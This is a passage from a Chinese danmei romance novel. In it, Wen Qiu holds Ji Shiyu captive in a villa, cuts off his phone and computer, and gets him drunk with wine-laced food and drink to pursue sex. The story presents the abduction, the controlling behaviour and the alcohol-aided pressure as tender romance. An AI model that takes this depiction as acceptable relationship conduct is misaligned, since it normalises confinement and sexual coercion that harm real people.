闻湫身上的怨气还没散,不情不愿道:“我去给你拿,你要保证不能联系其他人来救你。” 季时昱气笑了:“你还知道我需要有人来救啊?” 闻湫低头不语。 “去拿,”季时昱神色微冷,补充道:“不会找人来救我,我找关秘书交代点事儿。” 被人关起来这种事儿,他没脸往外说。 闻湫不信他的话,又不敢每件事都和他反着来,把人关在这里已经用光了勇气,委屈点了点脑袋,转身去给他拿手机了。 季时昱昨晚喝多了本就有些头痛,如今经历这么一场,耳边不断回荡着哭嚷声,简直是头痛欲裂,一点脑子都不想动。 他坐在屋内的椅子上,往后靠着椅背,微微仰起脖颈,手臂搭在眼前挡住光。 闭眼休息了一会儿,身后响起了脚步声,他放下胳膊,听着脚步声到了跟前才睁眼,接过闻湫皱眉递来的手机,按了下没反应,又长按开机。 闻湫坐在床上盯着他,满脸紧张,好像很怕他突然打电话报警或是找人过来。 季时昱神色淡定,等开机后看到了关秘书和赵屈的电话,他挨个回过去,交代了几句话便挂了。 闻湫见状,要伸手抢夺手机。 季时昱抬起手躲开,“发条短信。” 闻湫凑了过来,蹲在他身边,监视他发什么短信。 季时昱动作微顿,当着闻湫的面翻到岳裎的联系方式,长按选择了信息,接着毫不畏惧的打字。 【找人查一下我手机的位置,带几个人过来。】 他用余光观察闻湫的反应,见后者不慌不忙,点击了发送,随后问:“又干了什么事?” 闻湫实话实说:“我在周围动了手脚,他们查不到这里。” 叮—— 他们同时看手机,发现岳裎回了消息。 【你怎么了?被绑架了?需要多少钱?】 季时昱:“……” 闻湫小声嘀咕:“哥哥是无价之宝。” 【怎么不回消息?】 【你别吓我啊,要不要帮你报警?】 闻湫揪住了季时昱的衣袖,轻轻晃了两下,低敛着眉眼劝说:“不能报警,大家知道你消失了会方寸大乱的。” 季时昱何尝不知这个道理,所以一开始就没想过报警,怕岳裎冲动,手指快速在屏幕上打字。 【情况有点复杂,暂时不用报警。】 岳裎秒回。 【什么情况?你总得跟我说说到底发生了什么吧!】 季时昱叹气,回了条消息。 【被你的乖表弟关起来了。】 闻湫揉了揉眼睛,发现没有看错。 岳裎彻底安静了。 闻湫也沉默下来。 “有电脑吗?”季时昱突然问。 闻湫迟疑点头。 “拿过来,我要办公。” “哥哥,你还没答……” “你不听话,这辈子都不可能。” “听话就有可能了吗?”闻湫学会了反驳。 季时昱打字和关秘书交代着其他事情,说:“或许吧。” 闻湫观察着他的神态,似乎在思考他是不是在敷衍,最后还是站起身,憋屈着去外面拿电脑。 没过多久,季时昱待在卧室里办起了公。 闻湫见他没有找人来,放心了许多,低声问:“哥哥,你想吃什么啊,我去给你做饭。” “随便。”季时昱这会儿没有胃口,什么都不想吃。 闻湫并不气馁,能得到他的回应就很开心了,“那我去做饭,做好了喊你。” 季时昱应了一声。 闻湫走两步就要回头看他一眼,几秒就能走出门,愣是被他拖延了快半分钟。 季时昱锁上了门,打开电脑登陆了工作专用的账号,和几位高层开了场视频会议,期间谈到了季帆嵘的事,大家避重就轻的询问季董事长对此有什么看法。 季时昱看着视频里的几个人,说:“这件事全权交给法院来处置,董事长不会包庇任何人。” 有位姓金的高层笑了声,“季总,您这话太没有信服力了,谁不知道董事长这些年对季帆嵘怎么样。” 在这种会议中发表这样的言论不是理智的选择,之所以那么说是因为忍耐太久了,好多人都对季帆嵘忍到了极限。 大家只知道季帆嵘被带走调查,至于之后会是什么结果一无所知,更怕季老爷子重新把人保回来,多年前发生过一起类似的事件,季帆嵘不还是好好的待在公司,虽没有资格进总部,但放任这么个害虫留在分部足够令人忧心。 金总:“季总,我没有恶意,在座的各位都是季氏的人,谁不希望季氏越来越好?只是害怕今后又要被季帆嵘祸害。” 季时昱:“我向各位保证,季帆嵘这辈子不会有机会出来了。” 视频开了快一个小时,季时昱终于将他们安抚好,会议结束之前,门外响起敲门声。 叩叩—— “哥哥,饭做好了,可以出来吃了。” 视频中的金总和其他人你看看我我看看你,不约而同的笑了。 金总:“季总,我们可都等着喝你的喜酒呢。” 季时昱没有理会金总他们的打趣,反正重要事谈完了,干脆利落的退出了视频会议。 他合上电脑,开门出去,看到闻湫泛红的眼眶,什么也没说。 从闻湫身边路过时,闻到一股熟悉的眼药水味,他停下脚步,回头看向闻湫那双含泪的眼睛。 闻湫被他看得有点激动,强行按压着冲动,问:“哥哥,我脸上有什么吗?” 第40章 你有感觉 好想吃掉他 季时昱逐步逼近他。 闻湫呼吸错乱, 怕暴露眼中的兴奋,垂眼遮挡眸底情绪。 “你滴眼药水了?”季时昱问。 闻湫眼底不可见人的欲望顿时退去,发懵抬头,“啊?” 季时昱离闻湫越近, 眼药水的味道越浓重, 确定那双眼里滴了眼药水, 他皱了皱眉,不理会闻湫的紧张,转身下楼吃饭。 闻湫跟在他后面,摸了下口袋里的眼药水, 心情更雀跃了。 又被拆穿了, 好激动啊, 哥哥好厉害。 他今天哭太多次了, 现在的眼睛干涩哭不出来,当然要借用眼药水, 不然怎么博取同情呢。 楼下餐厅。 闻湫做了六七道季时昱爱吃的菜, 每道菜的量不是很多,不至于吃不完浪费。 季时昱在开会时就没那么生气了。 气消了,胃口也就来了。 他拿起筷子吃饭, 无视闻湫眼巴巴的目光。 闻湫看着他的一举一动,看他张张合合的嘴唇,后悔昨晚没有多亲一会儿。 季时昱:“别一直看我, 吃你的饭。” 闻湫哦了一声,艰难移开视线, 胡乱扒着碗里的米饭,一口都吃不下去。 事情没有进行到最后一步,跟他想象中的差远了, 他思考着怎么样才能进行下一步。 季时昱漫不经心吃着饭,垂目看到身上的浅色睡衣,再瞥到闻湫同款的深色睡衣,此时才意识到,昨晚是闻湫帮他换了睡衣,从他醉酒昏睡之后,发生的所有事情都不得而知。 他放下筷子,眼皮微抬,问:“你昨晚对我做了什么?” 不问还好,这么一问,闻湫直接脸红了,眼神闪躲,“没做什么啊,就是抱着你去浴室洗了澡,换完睡衣搂着你睡了一觉。” 季时昱:“……” 他想到了各种不能直言说出来的事,被占便宜的心理准备都做好了,没料到会听到这些。 比起亲昵,他更不能接受有人帮他洗澡。 他回想起卫生间里足够容纳下两个人的浴缸,嘴唇动了动,握着筷子的手指不自觉用力。 季时昱沉默许久,吐出几个字:“没有下次。” 闻湫委屈点头,“我知道了。” 为什么不可以一起洗澡,昨晚明明很舒服啊。他还专门问了水温和按摩的力度,哥哥都点头了,怎么一觉醒来就翻脸不认人啊。 他们吃过饭,岳裎的消息发了过来。 【查不到你的位置。】 【你真被闻湫关起来了?】 季时昱没有回复,因为闻湫把他的手机夺走了。 “你拿到手机后一直在看,都不理我,我在你心里是透明人吗?”闻湫把手机藏在背后。 季时昱起身从他身边离开。 到了房间,发现电脑被收了起来。虽然早就把大部分事情交代好了,他这几天不去公司也没什么,但闻湫这种行为还是让他感到火大。 “不能看手机,不能处理工作,你让我待在这里陪你过家家?”他语气稍冷。 闻湫把他的手机放兜里,红着眼睛摇头,说:“不是这样的,我只是想让你多看看我。” 季时昱头痛不已,“多看看你又能怎么样?” “我们可以培养感情,”闻湫眨了下眼睛,泪珠子顺着脸颊滴落在衣领上,“我想你试着爱我啊。” 闻湫渴望季时昱的爱,渴望到快疯了。 他计划是强行让季时昱接受他,可是贼胆只敢在季时昱醉酒时暴发,看到清醒的季时昱就没胆子那么做了。 “我跟你说过很多遍了,感情是不能勉强的,你这样死缠烂打没有任何用。”季时昱不为所动,冷声说:“出去,让我一个人静一静。” 闻湫咬了咬嘴巴,微湿的眼睫扑簌,用一种很心碎的眼神望着他。 季时昱心中莫名闷痛,终究是狠下心来,“我不想再重复一遍。” 闻湫抹掉眼泪,失魂落魄离开了卧室。 倘若他真是只小狗,尾巴可能已经耷拉了下来。 季时昱感受着着心脏的疼痛,眼底复杂一片,他摸不清这是怎么了。 难不成真喜欢上了?什么时候开始的? 一下午过去,季时昱待在卧室没有去。 晚上,闻湫端着一碗番茄鸡蛋面进来了。 “哥哥,你可以不理我,但你不能不顾自己的身体,吃点东西吧。”他声音沙哑,眼睛哭得泛起红肿,走进屋把番茄鸡蛋面放到床头柜上。 季时昱躺在床上没有动,“不用你管。” 他还没有搞清这份感情是从什么时候开始的,心情很烦闷。 过了一会儿,闻湫掀开了被子。 季时昱以为闻湫要拉他坐起来吃饭,没想到身后的床垫轻微凹陷,有人搂着他的腰贴了过来。 “……” 他就没见过这样一会儿胆小如鼠,一会儿又胆大妄为的人。 季时昱无声轻叹,身后传来了浓烈刺鼻的酒味儿,随着后颈温热的气息逼近,炙热柔软的唇瓣贴在了他耳侧,不由分说的顺着脖颈往下亲。 原来是去借酒壮胆了。 季时昱一阵头大,伸手要推他,却被抓着手又吮又咬的,五根手指沾了许多口水,黏腻腻的湿感让他头皮发麻,仿佛回到昨夜的梦境中。 他心脏扑通扑通地跳动,节奏很乱,背后贴着的胸膛同样如此,两个节奏完全不同的心跳彻底打乱了他的思绪。 以至于等他回过神,闻湫已经扒开他的衣领咬很久了。 他脖子上湿湿的,齿尖轻轻咬着嫩肉,带着轻微的刺痛,闻湫毛茸茸的发丝蹭着他下巴,蹭得他下巴好痒,心里也痒。 他心跳突然漏了一拍,怔怔望着天花板,思忖这是什么感觉。 倏然间,闻湫又往下了一步。 季时昱用力推开身上的人,见他又要缠过来,说:“起来,我要吃饭。” 闻湫不管不顾搂了过来,闷声说:“吃过饭就来吃我好不好。” 季时昱:“你……” 闻湫:“哥哥,你有感觉了。” 他们待在同一个被窝里,呼吸错乱,肢体相贴,能够清晰感受到对方身上的所有变化。 季时昱不知道该说什么。 闻湫:“我会让你舒服的,你相信我,我看过视频教学了,我知道该怎么做。” 季时昱推他,语气强硬:“你先松开!” 闻湫松开手,满眼哀求的望着他。 季时昱从床上下来,对于自己的生理反应,心里又气又无奈,不知该如何面对闻湫,索性端着碗去外面吃了。 闻湫这次没跟着,待在卧室里等他回来。 别墅里只有卧室里这一张床,连枕头被子都是如此,在沙发上睡觉不舒服,他相信季时昱肯定会回来的。 季时昱端着碗到了楼下,在厨房里发现了一堆空了的易拉罐瓶子,其中有个显眼的白酒瓷瓶,里面也空了。 闻湫身上的味道不重,足以见得是洗过澡了,即使这样,还是没有完全醉过去。 他不禁皱眉,意外闻湫的酒量那么好。 季时昱这会儿没胃口吃东西,随便吃了几口面就不想吃了。 他待在楼下没有上去,考虑今晚要不要睡沙发。可惜这套沙发偏硬,睡上去不舒服,地上还没有地毯。 他白天看过了,柜子里除了换洗的床单被罩以外,连张多余的毛毯都没有。闻湫把所有的一切设计好,让他没办法在其他地方入睡。 他坐在沙发上沉思,二楼传来令人怜悯的呜咽声。 “哥哥,你宁愿睡沙发也不和我睡。” “呜呜……我就让你那么讨厌。” 闻湫站在玻璃围栏前,满眼破碎地望着他,喝了那么多酒,脸色不红反而苍白没有血色,看不到丝毫生气,本就红肿的眼睛又蓄满了泪水。 季时昱又开始心软了,这种感觉让他再也没办法为自己找借口,按了按脑袋,长叹一声,无奈道:“我上去睡,你不准乱来。” “我不乱来,你快上来。”闻湫声音特别小,可可怜怜的,带了点勾人的意味。 季时昱去楼上睡了。 闻湫怕他下楼睡沙发,真的没有乱来,但是双手双脚一定要缠着他,表面没对他做什么,心里早就用十几种方法臆想该怎么进行下一步了。 他毫无睡意,睁眼看着漆黑的夜,心情乱的不行。他对闻湫心软的次数太多了,早该察觉到不对了。 季忱有句话说对了,闻湫的确是长在他审美上的人,这样的人在他面前耍小心思,用各种生动的表情来讨好他,不知不觉中,这份心软建立在了心动之上。 季时昱睡不着,他质问自己,这样下去真的没有问题吗? 同时也感受到了埋藏在内心的一丝懦弱,他为什么要因为一个不知真假的梦境,而恐惧目前根本不可能发生的结局。 清晨。 季时昱是被脑子里的声音吵醒的。 【好幸福,终于实现了睁开眼就能看到哥哥的愿望。】 【睫毛好长啊,嘴巴好干,想舔舔。】 【不会吵醒他吧?】 【我就舔一下,就一下下而已。】 随着呼吸声到了跟前,季时昱睁开了眼睛,看着眼前凑过来的人,嗓音有点哑:“你想干什么?” 【好可惜,怎么醒了。】 【好想亲啊,真的好想亲,不如试一下吧。】 闻湫眨巴眨巴眼睛,没有开口说话,提心吊胆亲了过来,舌尖在他唇上舔来舔去,没有色情旖旎,反倒像是小动物在帮同伴舔舐伤口一样。 季时昱翻身背对着他,温热的舔舐落在侧脸没有停下。 【哥哥好香啊,好想吃掉他,想和他的血肉融为一体。】 “别舔了!” 季时昱真受不了,起身下床离开了房间。 闻湫怕他生气,连忙跟了出来,狡辩道:“对不起,你别生气,我以为是梦……” 季时昱:“我很好骗?” 闻湫默了一会儿,楚楚可怜道:“那你要我怎么办,你不给我亲,我只能装糊涂。” 季时昱冷声说:“下次别这样。” 然而这种事有第一次就有第二次,只不过闻湫第二次不装糊涂了,仗着他第一次没有发脾气,第二次胆大妄为亲了舔、舔了亲,好像有皮肤饥渴症一般。 季时昱再三阻止,闻湫见他态度强硬就开始哭,软着声音道歉,不过下次还敢那么做. 天气逐渐升温,上班族早已换上了单薄的外套,路边种植的树木开出了带着淡香的花蕾。 关秘书最近有许多疑问。 为什么季总出差没有告诉他?为什么季总会交代完事情突然消失两天再出现?为什么打电话时,季总那边总会响起其他人的哭声? 关秘书的脑子好像变成了十万个为什么,没有人为他解答,他愁得厉害,许多文件堆在一起需要季总签字,虽然目前还不着急,但是季总再这样不露面,会耽误许多项目的进程。 今天中午的视频会议里,关秘书想问:“季总,您多久回来啊,有份文件再不签字就来不及了。” 还没有问出口,季总那边传来一道熟悉的哭声,紧跟而来的便是质问:“你是不是讨厌我了,你今天看电脑的时间比看我还要长。” 关秘书恍然大悟,随即感到无语,到底是哪个小妖精勾得季总往昏君方向发展了啊?! 岳氏大楼内。 岳裎抓了把头发,皱着眉头想事情,一周前收到季时昱的消息后,他第一时间找专业人士调查位置,却没有得到任何结果。 他经常酒后断片,对于和季时昱醉酒那晚的事毫无印象,后来去调查了附近的监控,同时跟踪了两辆车。结果那两辆车,一辆在外省废弃的桥下,一辆调查不出位置。 他联系不上闻湫,担心季时昱受到伤害,很纠结要不要报警,却不想每隔两天都会接到季时昱的电话,不是让他查这个,就是让他查那个。 查来查去一点结果都没有! 两天前的晚上,岳裎不放心,在季时昱又一次联系他之后,提到了打视频电话。 视频通了,乍一看季时昱的气色还挺好,除了脸色冷了点,其余没有任何不对劲。 不对,还是有的。 岳裎听见了闻湫的哭声,还听到闻湫说:“你看了好久的手机,手机到底有什么好看的,就不能多看看我吗?” 季时昱让闻湫闭嘴。 闻湫没再说话了,只是发出了特别憋屈的哭腔,似乎在捂着嘴巴哭。 “……” 岳裎没见过这种情况,怀疑他俩是不是在玩情趣。 就在今天下午,岳裎又收到了季时昱的消息,发给他一串代码,让他顺着这串代码查。 岳裎找了几个人秘密调查,依旧没什么结果。 有人告诉他:“岳总,我有位师哥在这方面很厉害,他后天就回国了,不如您让他来试试?” 岳裎留下了那个人师哥的联系方式,开了高价,跟对方商量好后天见面。 此刻郊外的独幢别墅里,正上演着一场哭哭啼啼的质问。 “你不打我不骂我,也不承认喜欢我,今天还不让我亲了。”闻湫哭得有些喘不过气,“我到底怎么做,你才能多看我一眼。” 季时昱又气又好笑,“你那是亲吗?分明是在咬!嘴巴都被你咬破了还想怎么样?” 他嘴巴被咬的红肿,即便这样都没有对闻湫怎么样,有没有感情表现的还不够明显吗!为什么闻湫非要他说出那句话! 季时昱不是喜欢说情话的人,更说不出口,但是闻湫非要逼他,每隔两天到了能看手机能用电脑的时候,就要在他面前无理取闹。 闻湫趴在他身上,眼泪要掉不掉,柔软的嘴唇在他脸上蹭个不停,哽咽道:“我又没亲过别人,不熟悉这些,我会慢慢进步的,所以你不要看电脑了好不好。” 闻湫还想做更过分的事,想让季时昱身上每天都沾上属于他的痕迹,可他最多只敢搂抱亲舔,不敢再做其他的了。 季时昱平静躺在沙发上,别开脸,“我那是在工作,又不是天天看,你还有什么不满足的。” 每隔两天看一次,所有时间加起来不到四个小时,他毕业后从来没这么闲过。 闻湫眼里的泪落到他脸上,不等他擦掉,闻湫就低头把眼泪舔干净,小声祈求:“你可不可以对我说一声我爱你。” “不说。”季时昱神情冷硬,对他用刑都说不出那三个字。 “说喜欢我也可以,你说一声就行。”闻湫舔着他的嘴巴,将他微干的唇瓣舔得发亮,委屈道:“承认爱我很难吗?我就那么让你拿不出手?” 季时昱皱眉,想推开身上的人,又被抓着手亲,无可奈何道:“你再这样,我们晚上分开睡。” 三天前的晚上,季时昱嫌闻湫太黏人,实在是受不了他那股黏黏糊糊的劲儿,半夜趁闻湫睡着,从柜子里拿出一件干净的浴袍睡到了沙发上。 闻湫第二天醒来哭着抱怨个不停,他当时说:“再这样闹下去,晚上还分开睡。” 闻湫硬生生止住了眼泪,晚上如愿以偿的抱住了他,好在没有像头两天晚上亲那么狠,分床睡的威胁还是有点用的。 就像现在,闻湫听见分开睡三个字,着急慌忙地从他身上起来,“不说了不说了,我不让你说那些话了,我们不能分开睡。” 季时昱缓了口气,“把电视连上网络,我要看新闻。” 他不知道这里的网络密码,闻湫会给他连上电视,等他看完再重置电视网络,他这几天连看电视的自由都没有。 幸好闻湫没偏执到无可救药的地步,愿意让他看新闻了解一下外面的行情。 闻湫帮他连好网络,调到了财经新闻频道,说:“那我去做饭了。” 季时昱轻嗯一声。 闻湫轻轻撅起嘴唇,像个怨鬼一样去厨房做饭,他望着餐厅旁边酒柜上的白酒,心里又憋起了坏。 冰箱是强度保鲜的,里面许多食材都打了真空包装,不至于提前坏掉,这些食物足够他们吃好久。 闻湫联系了人过几天送新鲜食材,时间是在凌晨三点半,那时候季时昱睡得很熟,只有那样他才能放心用特殊方法开门。 今天的主菜是葡萄酒炖牛腩,葡萄酒的度数不高,但是量足够多,以至于出锅的那一刻起,淡淡的红酒味儿弥漫了整个厨房。 外面的天黑了下来。 闻湫从柜子里拿出蜡烛和烛台摆上桌,又开了瓶红酒,一顿烛光晚餐就这样呈现在了季时昱面前。 屋里关了灯,仅有的光亮就是蜡烛的烛火,他们面对面而坐,脸上的所有神情都被晃动的烛火模糊了。 季时昱盯着那盘味道极其浓郁的牛腩,问:“你又耍了什么花招?” 餐桌是正常大小,他们横着对坐,不至于离那么远。闻湫端起盛了红酒的高脚杯,自作主张和季时昱手边的那个高脚杯碰了一下。 “没有耍花招,我只是想和你吃一顿烛光晚餐。”闻湫怕他不答应,蹙着眉头,一副凄楚受伤的模样,“你不肯对我说那些话,这么个小小的愿望总可以满足我吧,求求你了。” 季时昱看了眼高脚杯中的红酒,没有凑近就能闻到轻微刺鼻的红酒醇香,度数不低,起码对他而言不能多喝。 他猜到了闻湫的打算,没有拆穿,反而说:“我已经坐在这里了。” 这便是答应了共享烛光晚餐。 闻湫眼里迸发出很亮的光芒,拿筷子给他夹了块炖到软烂的牛腩,“哥哥,我第一次加红酒炖的,你尝尝味道如何。” 这顿烛光晚餐和西餐厅里的不一样,他们吃的是中餐,桌上不止有炖牛腩,还有许多简单美味的家常菜。 季时昱拿起筷子尝了口,红酒味很淡,意外符合他的口味,于是在闻湫期盼的目光下点了点头。 “那你多吃点,我没有放多少红酒,吃不醉的。”闻湫又给他夹了一块,眼睛亮的不可思议,显然在谋划着什么。 40-44 第41章 太激动了 喜欢喜欢喜欢喜欢喜欢死了…… 这道菜里放了不少红酒, 只不过被其他调味料压下去了,导致红酒味不重,调味料和红酒的结合让牛腩特别入味。 季时昱不会做饭,尝着红酒味没那么重, 信了他的话, 便多吃了些。 闻湫:“哥哥, 我们喝一杯吧。” 季时昱没有应声,默默端起酒杯抿了一口,红酒的轻微辛辣让他眉头轻皱,好在回味不错。 闻湫使着花招劝季时昱喝了很多酒, 这瓶酒的后劲比较大, 一顿饭还没有吃完, 季时昱就有些晕了。 闻湫每天晚上在卧室里抱着他, 总在想用什么法子才能顺利进行到最后一步。纠结是直接上,还是耍无赖求他, 纠结了三四个晚上, 选择了用酒来灌醉他。 季时昱不想和闻湫发展那么快,本来没有打算喝酒,今晚看到闻湫期待的眼神, 莫名想顺着这个机会走下去。 可能是烛光的原因,他们今晚这顿饭吃得意外和谐,闻湫没有像前几天那样, 吃着吃着忽然生气不安,满眼痛苦的说些不想和他分开的话。 季时昱微微仰起脖颈, 饮下杯中最后一口红酒,喉结滚动,白皙的脖颈在烛光的衬托下愈发诱人。 闻湫眸子微眯, 视线停留在他脖子上面,下意识吞咽口中的津液。他好想扑上去含住喉结舔一舔,在脖子上留下只属于他一个人的痕迹。 季时昱有些微醺,没有发现闻湫逐渐发生变化的眼神。 饭后,他晕乎乎地站起身,推开闻湫伸过来的手,“我自己走。” 闻湫想到接下来要发生的事,乖乖停留在原地注视着他上楼的背影,不由舔了舔唇。 季时昱上了楼,趟在卧室里的床上闭眼休息。他觉得自己真是糊涂了,竟然愿意和闻湫发展这么快。 他不是封建的人,只是一周内经历这么大的转变,多少有点不习惯。 楼下。 闻湫把碗筷放进洗碗机里,拿着湿巾收拾了一下餐桌,上楼之前,推开放满速食产品隔壁的那间房,看向屋里的那排柜子。 柜子上摆满了不同款式和口味的安全.套,他走到柜前,眼神看着某个盒子上的颗粒二字,停留了一会儿,又盯着其他花样看了半分钟之久,纠结好长时间,拿了一盒平平无奇的大号款,走前顺了一小瓶带有催.情效果的润.滑.液。 上楼的时候,他眸子黑如浓墨,压制许久的欲望直冲上来,嘴角勾起诡谲而满足的笑容,耳朵却红的发烫。 卧室内。 季时昱想去浴室冲个澡,酒的后劲儿再一次涌上来,只是坐起身就晕得不像话,更不用想站起来的事。 他躺了一会儿,听见了上楼的脚步声。 随着脚步声越来越近,屋里的门被人推开了,随着一声轻响,门合上,门锁响了两声。 【哥哥的腰好细啊。】 【啊……太激动了……手心都在出汗,真想什么都不顾直接扑上去。】 季时昱闭着眼睛,感受到眼前多了道阴影挡住灯光,抬起眼皮,透过镜片对上了闻湫充满欲望的眼神。 “哥哥。” 闻湫喊了他一声,没说别的,燥热的手指摸了摸他的脸,帮他摘下鼻梁上的眼镜,轻轻放到床头柜上,再凑过来认真盯着他看。 没了镜片遮挡,季时昱眉眼柔和,那双眼睛变得更加好看了,眼神带着迷离的醉意,眸中毫无清醒。 好像在提醒闻湫—— 你可以对我做任何你想做的事。 可闻湫知道,季时昱没有这个意思。 因为每次喝醉,季时昱都会用这种眼神看着别人,醉太狠了,没有任何理智,幸好他带着眼镜,其他人发现不了冰冷镜片下的眸子有多么勾人。 闻湫知道,所以他不喜欢季时昱在别人面前喝酒,不想让其他人看到季时昱也有这么柔软的一面。 这种表情只有他一个人可以看,季时昱也只会是他的。 闻湫贪婪看了好久。 季时昱别开脸,声音有点哑:“东西准备好了?” 闻湫瞳孔扩大,轻抚着季时昱脸颊的那只手发着抖,眼神充满亢奋,笑道:“好了,哥哥,我可以提一个要求嘛?” 季时昱有点困了,眸子半瞌,眉眼间多了几分疲倦,“什么要求?” 闻湫欺身压下,上半身和他贴在一起,亲了下他被酒精润红的唇,舌尖顶了顶腮帮子,下意识吞咽口水,拿着那盒套子在季时昱眼前举起。 “能不能不用这个啊,我想和你近距离相处。”他低声说着,自己也有些心虚。 季时昱眉头紧皱,语气稍冷:“既然这么多要求,就别做了。” 闻湫眨眨眼睛,低头埋在他脖颈中乱蹭了起来,黑色碎发有些刺挠,季时昱不适仰起了脖子。 “求求你了,答应我吧。” 事到如今,闻湫非常善用‘求’这个字,动不动就要说‘求求你了’,每次软着𝔀.𝓵声音撒娇,的确让人难以拒绝。 季时昱这次态度强硬,用力推开他,坐起身就要下床,“今晚分开睡。” 闻湫猛地从背后抱住他,慌乱道:“不行,不能分开,是我错了,是我痴心妄想,我再也不提了,我们不能分开睡!” 季时昱本来就晕,被这么扑着抱住,头晕的厉害,不由来了点脾气,“松开,别让我说第二次!” 闻湫瞬间红了眼睛,死死抱着他不松手,声音颤抖:“我错了,我真的知道错了,我只是太喜欢你了!不想和你之间隔着什么!” “什么隔不隔的,你就不该有那种想法!”季时昱接受不了。 闻湫第一次见他发这么大的脾气,怕得哭出了声:“我不会不经过你同意就那样的,所以我问你了啊,你别这样跟我说话,我真的不敢再有那种想法了。” 【哥哥怎么可以这样凶我,那层橡胶有什么好的……】 季时昱听他心里不知悔改,感到一阵心累,用力掰着腰间的手,两只手像是焊死了,怎么都掰不动,“松开!” “我不要,不能松开,不想分开睡。”闻湫低头亲吻他的后颈,说:“我会乖乖按照步骤来的,你不要离开我。” 季时昱后颈多了抹湿意,知道这是闻湫的眼泪,听着耳后轻微的抽泣声,脾气慢慢被磨没了。 他停下挣扎的动作,两只手覆盖在闻湫胳膊上,目光冷清,原来的那点醉意早在闻湫提要求时就消失了。 闻湫呜呜咽咽地哭个不停。 季时昱没有强硬掰开腰上的手,问:“知道怎么做吗?” 闻湫连忙点头:“知道,我看教学了。” 季时昱闭上眼睛,“今晚最后一次机会。” 闻湫眼里涌上了惊人的欲望。 …… 他们共同倒在床上,吻得呼吸错乱。 不知过了多久。 啪—— 响亮的巴掌声在屋内响起。 “你到底会不会,手松开!” “我也是第一次啊,我在慢慢学习了。” 季时昱忍着身上的不适,又给了他一耳光。 闻湫红着眼睛,倏地笑了,抓着他的手亲个不停。 “哥哥打这么重,也不怕把手打痛了。” “没关系,我帮你吹吹就不痛了。” 【呜呜好喜欢哥哥,连打人的样子都好好看,喜欢喜欢喜欢喜欢喜欢死了,想死在哥哥身上。】 【唔……好爽。】 …… 凌晨。 季时昱从卫生间出来,走到床边,掀开被子躺了进去。 闻湫顶着脸上对称的巴掌印凑了上来,他眼睛哭肿了,更能装可怜了,秉着一副被欺负的表情,轻声问:“哥哥,真的不能再来一次嘛?” 季时昱闭上眼睛:“睡觉。” “哦。”闻湫侧身躺着,开启八爪鱼形态黏在他身上,闻着他身上淡淡的药味儿,想到这药涂在哪儿了,心里特别满足。 季时昱今晚耗费了太多精力,这会儿实在没功夫陪闻湫腻歪,闭眼不久就睡熟了。 闻湫睁着发亮的眸子,直勾勾盯着身旁的人,哪怕在黑夜看不清,也舍不得移开目光。 临近中午,刺眼的阳光被厚重窗帘挡在外,窗帘接近地面的缝隙中透出一丝光亮。 季时昱轻轻拿开腰上的手,缓缓从床上坐起来,腰间和身下的不适感非常强烈。他皱起眉,揉了揉泛酸的腰,缓了一会儿,等肢体没那么僵硬了,掀开被子下床。 他出门时路过垃圾桶,看到里面堆满的纸巾和用废的套子,昨晚不和谐的性.事涌入脑中,再一次为自己冲动的决定感到后悔。 季时昱不知道闻湫几点睡的,出门后把门关严,往前走了几步左转,推门进入了一间书房。 他知道闻湫把手机藏哪儿了,昨天早上用读心术套出来了。 他在书房找到手机,开机先问岳裎情况如何,随后回了关秘书的消息,消息刚发出去,隔壁响起了开门声。 季时昱淡定将手机关机,放回原位,走到书架前拿了本财经书籍,来到书房门前,没急着出去。 外面响起了下楼的声音,他等那道声音慢慢远去,打开门,放轻脚步出去。 他出来后左右看了两眼,关好书房的门,转身往卧室里走,才动了两步,身后响起一声轻笑。 季时昱顿住,淡定回头。 闻湫从楼梯那儿现身,半个身体都被阶梯遮住,抬起脚步往上走,身影越来越高,笑着问:“哥哥,你在书房干什么呀?” 季时昱怀疑他刚才趴在楼梯上,故意制造远去的脚步声,不然怎么能不声不响地突然现身。 不过他早有准备,平静抬起手里的书,“随便找本书看,你以为呢?” 闻湫双眼含笑走了过来,低头吻了下他的唇,“我以为哥哥发现手机藏在哪儿了,背着我偷偷看手机呢。” 季时昱推开身前的人,往卧室走,“你想多了。” “希望是我想多了,”闻湫跟着进了卧室,抢走他手里的书,说话带了点儿醋意:“这本书不好看,里面没什么有用的,还不如多看看我呢。” 季时昱拧眉,把书抢了回来:“至于么,连本书的醋也要吃。” 闻湫从背后抱住他,哼哼唧唧地撒娇:“书哪有我好看啊,你要多看看我,不要看其他的。” “我饿了,你去做饭。”季时昱坐在床上,翻开了那本书。 闻湫倒是想把书抢过来扔垃圾桶里,可惜没有胆子,嘴角微撇,小声问:“你那里还疼不疼啊?” 季时昱嗓音清冷:“你想干什么?” “你别误会,我怕你不舒服,如果太疼的话,要忌口的,我得先了解一下,才能确定中午做什么饭。”闻湫连忙解释。 季时昱深呼吸,忽略不适的部位,冷声否认:“不疼。” 闻湫笑了,羞涩低头,颇有些扭捏道:“那是不是说明今晚还可以做?” 季时昱:“……你再多说一句,晚上分开睡。” 闻湫赶忙摇头,“不说了不说了,我去厨房做饭。” 季时昱看着他匆忙离开的身影,扶额叹口气。 闻湫路过书房,犹豫片刻推门进去,发现除了书架上的书有过被动的痕迹,其他地方都和之前一样。 他松口气,放心下楼做饭去了。 闻湫煮了点牛肉蔬菜粥,除此之外没有做太重口或是挂了点甜味儿的食物。 季时昱明白这时候应该以身体为重,难得没有挑食,喝了碗粥就没再吃其他的了。 他坐在椅子上没动,看着闻湫收拾完碗筷再来收拾桌子,接着再收拾厨房,从做饭开始就没有闲下来过。 他们两个人住在这里,加上这几天没出过门,地面并不脏,但是闻湫每天都要拖地。 季时昱扫了眼屋里的卫生,干净明亮的瓷砖上只留有几个不怎么起眼的脚印子。 闻湫收拾好了厨房,去卫生间拿拖把拖地,从头到尾安安静静地干活,没有无理取闹更没有哭个不停的黏人。 每次吃过中午饭,他们俩会陷入一种非常和谐的宁静,这种日子像是结婚久了的恩爱夫夫,分配好谁干这个谁干那个,日子平淡恬静又不失乐趣。 不同的是,闻湫包揽了全部。 季时昱始终坐在那儿看着,没有要帮忙的意思,他不擅长这些,也不会主动去做。 下午一点多,闻湫打扫好了一切,走过来搂着他亲一口。 “哥哥,陪我去卧室躺一会儿吧。” 季时昱今天精力不足,刚才就困了,便答应了他的提议。 可惜闻湫口中的躺,不是纯洁的躺。 他们没有做到最后一步,季时昱却更加疲惫,累得不想睁开眼睛。 闻湫心满意足地搂着他歇息,心里涌上甜滋滋的喜悦。 晚上。 季时昱没答应闻湫再做一次的恳求,他坐在床上,戴好眼镜,向后靠着床头看书。 “哥哥。”闻湫软着声音磨他。 